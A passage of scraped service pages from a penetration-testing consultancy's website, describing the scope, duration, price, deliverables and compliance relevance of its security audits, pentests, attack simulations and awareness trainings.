phone-based or in-person pretexting Malware infection — simulated malware deployed on an endpoint, testing EDR response and alert handling Business Email Compromise (BEC) — impersonation of executives or suppliers Credential theft and reuse — testing whether stolen credentials trigger alerts Living-off-the-land techniques — using built-in system tools to avoid detection Lateral movement — testing whether an attacker can move from one compromised system to others Deliverables Unlike a standard pentest, the output of a Cyber Attack Simulation focuses on process insights alongside technical findings: What allowed the attack to succeed (or what stopped it)? Are alerts being monitored? How quickly did the team respond? Did anyone report the phishing email — or did someone submit the malware to VirusTotal, tipping off the attacker? Which detection gaps need to be addressed? Every engagement includes a written report, management summary, and live debriefing. See example reports for what a VidraSec report looks like. Typical Duration 3 days (phishing-only exercise) to 3+ weeks (full multi-vector simulation). Scope-dependent. Typical Price from 5,600 € (for a phishing simulation) This type of project must be very precisely tailored to your needs — the final price depends on the scope and required effort and is calculated individually. Compliance Relevant for NIS2 Article 21 — organizations are required to have incident detection and response capabilities. A cyber attack simulation directly tests whether those capabilities work. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Internal IT Infrastructure Penetration Test Security Awareness Training --- ## Entra ID Audit URL: https://www.vidrasec.com/services/entraid-audit/ Description: EntraID Audit: Find misconfigurations in Microsoft Entra ID (Azure AD). Prevent unauthorized access – test identity management. VidraSec. EntraID (Microsoft Entra ID) is Microsoft’s central identity and access management (IAM) solution—especially in Microsoft 365 environments—and forms the basis for single sign-on (SSO) and access control. A misconfiguration can lead to unauthorized access to company resources or facilitate social engineering attacks. Therefore, this component must be thoroughly tested. Scope This type of test is typically performed as white-box, meaning that the testers receive full access to the tested system and its documentation. This allows a comprehensive analysis of vulnerabilities and misconfigurations in a short time frame. These are the main focus points of the test: Audit of the implementation status of the tier model and possible vulnerabilities Review of all accounts and their password age Review of the permissions of users, computers, and groups Review of group memberships of highly privileged groups Interview with administrators on how they typically administer the system Conditional access policies Verification against best practices The link to the on-premise Active Directory Typical Duration 3–5 days (scope-dependent). Reporting takes roughly 30–50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2, ISO 27001, and TISAX. Identity and access management is a core control domain in all major security frameworks. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Microsoft 365 Audit Active Directory Audit Cloud Infrastructure Audit --- ## Example Reports URL: https://www.vidrasec.com/example-reports/ Description: VidraSec example reports: sample penetration test result report for internal infrastructure as PDF (DE/EN). English Penetration Test of the Internal IT Infrastructure Penetration Test of a Web Application German Penetrationstest der internen IT-Infrastruktur Penetrationstest einer Webapplikation --- ## External IT Infrastructure Penetration Test URL: https://www.vidrasec.com/services/external-it-infrastructure-penetration-test/ Description: External IT infrastructure penetration test: Find vulnerabilities in your external infrastructure. Protect personal data – test your attack surface. VidraSec. If your system is exposed to the internet, it could potentially be hacked by anyone. Okay, I exaggerate a bit, but I think you understand. Vulnerabilities in your external infrastructure can lead to very bad press and threaten your customers’ personal information. So, it’s better to check once more. Scope This test can focus on a range of externally accessible IPs. Another approach is to collect information about your external attack surface, meaning what information can an attacker find out about your company and which services are exposed (that you might not even know about). These are the main focus points of the test: Detection of vulnerabilities in your external infrastructure Identification of outdated software and used libraries Check for missing hardening measures that can protect you in case there is a vulnerability Publicly exposed sensitive information Insecure configuration of services Why Do you even know all the services that are exposed to the internet? Are you sure you are not unintentionally leaking sensitive data? Did you apply all the additional security measures that can prevent attacks? Are all your services configured according to best practices? Why VidraSec 🦦 I have over 6 years of experience in penetration testing and red teaming. In this time, I have seen many different systems and found a lot of vulnerabilities. Fun fact: in all this time, there have been worse and better systems, but there has never been a system without any vulnerabilities. Let’s improve your security together! Typical Duration 2+ days of testing (heavily scope-dependent — depends on the number of IPs and services in scope). Reporting takes roughly 30–50% of the test time on top. Typical Price from 4,200 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 (Article 21), ISO 27001, and GDPR — exposure of internet-facing services can directly risk customer personal data. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Internal IT Infrastructure Penetration Test Cyber Attack Simulation --- ## Microsoft 365 Audit URL: https://www.vidrasec.com/services/microsoft-365-audit/ Description: Microsoft 365 Audit: Review Exchange Online, Teams, SharePoint and Defender for Office 365. Find misconfigurations and access control gaps. VidraSec Austria. Microsoft 365 is the productivity backbone of most modern organizations — Exchange Online handles email, Teams drives collaboration, SharePoint stores documents, and Entra ID manages identities. A misconfiguration in any of these components can expose sensitive data, enable phishing attacks, or allow unauthorized access to company resources. This audit reviews the security configuration of your Microsoft 365 tenant using a read-only account. It is typically performed as a white-box engagement and scoped in a kick-off call. It is a natural complement to an Entra ID Audit, which focuses specifically on identity and access management. Scope The following areas are reviewed as part of a Microsoft 365 Audit: Exchange Online: anti-phishing policies, SPF/DKIM/DMARC configuration, mail transport rules, connector security, external email warnings Teams and SharePoint: external sharing settings, guest access policies, document permission review Microsoft Defender for Office 365: policy configuration, Safe Links, Safe Attachments, threat protection settings Admin roles and MFA: review of global admins and privileged roles, MFA enforcement for admin accounts Microsoft Secure Score: review of current score and highest-impact recommendations Conditional Access: review of policies protecting M365 applications Why Microsoft 365 environments are a prime target for attackers — phishing, business email compromise (BEC), and data theft typically exploit misconfigurations rather than software vulnerabilities Default Microsoft 365 settings are not hardened — many organizations run significant gaps without knowing it A compromised M365 tenant can expose all company email, files, and credentials Why VidraSec 🦦 My focus on Windows, Active Directory, and the Microsoft identity stack extends naturally into Microsoft 365. The Entra ID and M365 layers are tightly integrated — understanding one requires understanding the other. This audit is often combined with an Entra ID Audit for a complete picture of the Microsoft identity and productivity environment. Typical Duration 3–5 days (reporting included; scope-dependent) Typical Price from 7,000 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all identified misconfigurations, prioritized by risk Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports to get a sense of what a VidraSec report looks like. Compliance Relevant for organizations working towards NIS2, ISO 27001, or TISAX compliance. Microsoft 365 security configuration is increasingly audited as part of information security management reviews. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Entra ID Audit Internal IT Infrastructure Penetration Test Cloud Infrastructure Audit --- ## Overview Penetration Test URL: https://www.vidrasec.com/overview-penetration-test/ Description: What is a penetration test? Process, benefits and commercial details. VidraSec explains pentests – internal/external IT, web, AD, cloud. Austria. What is a penetration test? How secure are your IT systems really? A penetration test shows where attackers would start - before it’s too late A penetration test (“pentest” for short) is a security analysis of one or more IT systems. An IT security expert (“pentester”) attempts to uncover as many vulnerabilities as possible in the time available. The tools and procedures used are the same as those used by real attackers. The result of a penetration test is a detailed report with the vulnerabilities found, sorted by severity, and recommended measures to eliminate them. Why penetration testing? Every system has unknown vulnerabilities. Without testing, they remain undiscovered until an attacker exploits them. Penetration tests find these vulnerabilities So that they can be fixed before attackers exploit them Penetration test procedure Commercial details Penetration tests are always customized to the tested systems and requirements - there is no standard price. Implementation in a time box: How many vulnerabilities can be found in the time available? A cyber attack is expensive! Take precautions now and sleep better at night! Typical price: from €5,600.00 (for 3 days test + documentation) Specific services Every IT system is different. A penetration test of the internal IT infrastructure, for example, requires a completely different approach and tools than a penetration test of a web application. Active Directory Audit Ransomware attacks are on the rise, and the ones with the highest impact take over the whole Active Directory. We must secure these systems to minimize the risk of having our data encrypted and put up for sale on the internet! Internal IT Infrastructure Penetration Test What if one of your employees clicks on the wrong email attachment? Will you be able to stop the attack, or will the attackers be able to move laterally from there and take over all your systems? This is why you should conduct an internal infrastructure penetration test. The internal system is just one wrong click away from being “public”. Cloud Infrastructure Audit Cloud services offer enormous flexibility — but that flexibility comes with risk. Misconfigured storage buckets, overly permissive IAM roles, and exposed management interfaces are among the most common causes of cloud security incidents. A Cloud Infrastructure Audit reviews your cloud environment with a read-only account to identify exactly these issues before attackers do. Supported platforms: Azure, AWS, and GCP. Entra ID Audit EntraID (Microsoft Entra ID) is Microsoft’s central identity and access management (IAM) solution—especially in Microsoft 365 environments—and forms the basis for single sign-on (SSO) and access control. A misconfiguration can lead to unauthorized access to company resources or facilitate social engineering attacks. Therefore, this component must be thoroughly tested. External IT Infrastructure Penetration Test If your system is exposed to the internet, it could potentially be hacked by anyone. Okay, I exaggerate a bit, but I think you understand. Vulnerabilities in your external infrastructure can lead to very bad press and threaten your customers’ personal information. So, it’s better to check once more. Web Application Penetration Test Vulnerabilities in web applications can be very problematic. In the worst case, the entire web server is taken over or confidential customer data is stolen. Therefore, it is especially important to thoroughly test these applications. Typical project compositions Projects are always scoped to your specific situation — but these are common starting points: Internal security review An internal IT infrastructure pentest (includes Active Directory testing from an attacker’s perspective) is the core. For a deeper, white-box analysis of AD configuration, an Active Directory Audit is added on top. Identity-focused (Microsoft stack) An Entra ID Audit combined with a Microsoft 365 Audit covers the full Microsoft identity and productivity environment — the most common combination for organizations running on Microsoft 365. External exposure check An External IT Infrastructure Penetration Test assesses what’s visible from the internet. Often paired with an internal pentest for a complete picture of the attack surface. Application security A Web Application Penetration Test focuses on a specific web application or API. This is standalone — a separate engagement from infrastructure testing. Detection and response validation A Cyber Attack Simulation tests whether your team and tools actually catch an attacker. Typically run after establishing a security baseline through pentests and audits. Don’t see exactly what you need? All projects are custom-scoped anyway — just get in touch. New to pentesting or not sure how to scope? The Penetration Testing Buyer’s Guide covers what a pentest actually is, how to choose the right methodology, and how to avoid the most common mistakes. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Security Awareness Training URL: https://www.vidrasec.com/services/security-awareness-training/ Description: Security Awareness Training: Cyber attacks often start with human error. Train staff – phishing, social engineering, passwords. VidraSec. Most cyber attacks begin with a human error. Someone has set a weak password or opened the wrong email attachment. Therefore, it is essential that all employees are trained on how to behave correctly. The exact scope and duration of this training can be individually determined. Typical training contents include: Introduction to the threat situation Phishing and Social Engineering Internet fraud Password security Outdated recommendations Social Media Security The training can be conducted remotely or on-site. Why VidraSec 🦦 Most security awareness training is delivered by someone who read about the attacks, not someone who has actually run them. I’ve conducted phishing campaigns against companies, bypassed MFA, stolen credentials, and moved through internal networks undetected. That direct attack experience shapes how the training is delivered: the examples are real, the techniques are current, and the explanations land differently when they come from someone who has actually done this. For non-technical audiences, a live cyber attack demonstration is available as part of or alongside the training. Watching a real attack unfold is more persuasive than any slide deck: seeing how a phishing email bypasses filters, how credentials are stolen, how one compromised account escalates to full network access. I’ve presented at international security conferences including Troopers, IT-SECX, and Hacktivity, and that speaking experience translates directly into engaging sessions for your team or event. See Trainings & Presentations for details on the live demo format. Format Sessions should not exceed 1 hour per session — shorter, focused blocks work better than long lectures. For groups larger than 15–20 people, splitting into smaller sessions is recommended to keep engagement high. Typical Price 200 € per hour of training The final price depends on the desired content, as the training may have to be adapted to your specific environment and industry. Deliverables Every engagement includes a tailored training session and post-training Q&A. No written pentest report — the deliverable is knowledge transferred to your team. Compliance Directly relevant for NIS2 (Article 21 — organizations must ensure staff receive regular security training) and ISO 27001 (Annex A control A.6.3 — information security awareness, education and training). martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Cyber Attack Simulation Trainings & Presentations --- ## Trainings and Presentations URL: https://www.vidrasec.com/trainings-presentations/ Description: Security trainings, presentations and cyber attack demos by VidraSec: phishing, social engineering, live hacking demos. Tailored for your team or event – Austria. People are the first line of defense against cyber attacks — and also the most common entry point for attackers. VidraSec offers two formats to address this: a structured Security Awareness Training for your employees, and tailored presentations and live demos for management events, company all-hands, or public appearances. Security Awareness Training A structured training course for employees covering the most important security topics. Sessions are kept short (up to 1 hour) and focused, with smaller groups to encourage engagement. Content is tailored to your organization. Typical topics: phishing and social engineering, password security, malware and ransomware, safe behavior online and on company devices. More details and pricing → Presentations and Live Cyber Attack Demos A presentation or live demonstration of a cyber attack is one of the most effective ways to make security risks tangible for a non-technical audience — management, board members, or event attendees. Seeing a real attack unfold is more persuasive than any slide deck. VidraSec has presented at international security conferences including Troopers, IT-SECX, and Hacktivity. This experience translates directly into engaging presentations that are technically accurate but accessible to any audience. Available formats: Security presentation — tailored talk on a specific threat area or the current threat landscape, adapted to your audience Live cyber attack demonstration — a controlled, live demonstration of how an attack works (e.g. phishing, credential theft, lateral movement), designed to create awareness and urgency without requiring technical knowledge These engagements are typically 30–60 minutes and can be run on-site or remotely. They are available as standalone bookings or as part of a broader security awareness initiative. Pricing Approx. 200 € per hour (excl. company-specific customization) The exact price depends on the scope, content, and any required preparation or travel. Security Awareness Training Most cyber attacks begin with a human error. Someone has set a weak password or opened the wrong email attachment. Therefore, it is essential that all employees are trained on how to behave correctly. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Web Application Penetration Test URL: https://www.vidrasec.com/services/web-application-penetration-test/ Description: Web Application Penetration Test: Find vulnerabilities in web applications. Access control, injection, XSS – thorough testing. VidraSec. Vulnerabilities in web applications can be very problematic. In the worst case, the entire web server is taken over or confidential customer data is stolen. Therefore, it is especially important to thoroughly test these applications. Scope Web applications are tested against the most critical vulnerability classes, with a focus on the OWASP Top 10. This includes: Access control testing — broken access control, privilege escalation, IDOR Injection attacks — SQL injection, command injection, SSTI Misconfigurations — security headers, TLS settings, error disclosure Review of third-party components — outdated libraries, known CVEs Implementation of Defense-in-Depth measures Android mobile app testing is also available on request. The specific test procedure and tested components will be discussed in a Scoping meeting. Typical Duration 3–5 days of testing (depends on the size and complexity of the application). Reporting takes roughly 30–50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all vulnerabilities, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Relevant for GDPR (protection of customer data processed by the application) and ISO 27001. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services External IT Infrastructure Penetration Test --- ## Windows Client Hacking URL: https://www.vidrasec.com/windows-client-hacking/ Description: This course teaches you about the typical vulnerabilities in Windows, how they work and how to exploit them. https://www.udemy.com/course/windows-client-hacking/?referralCode=766B0B36F91BC7BC30C3 ---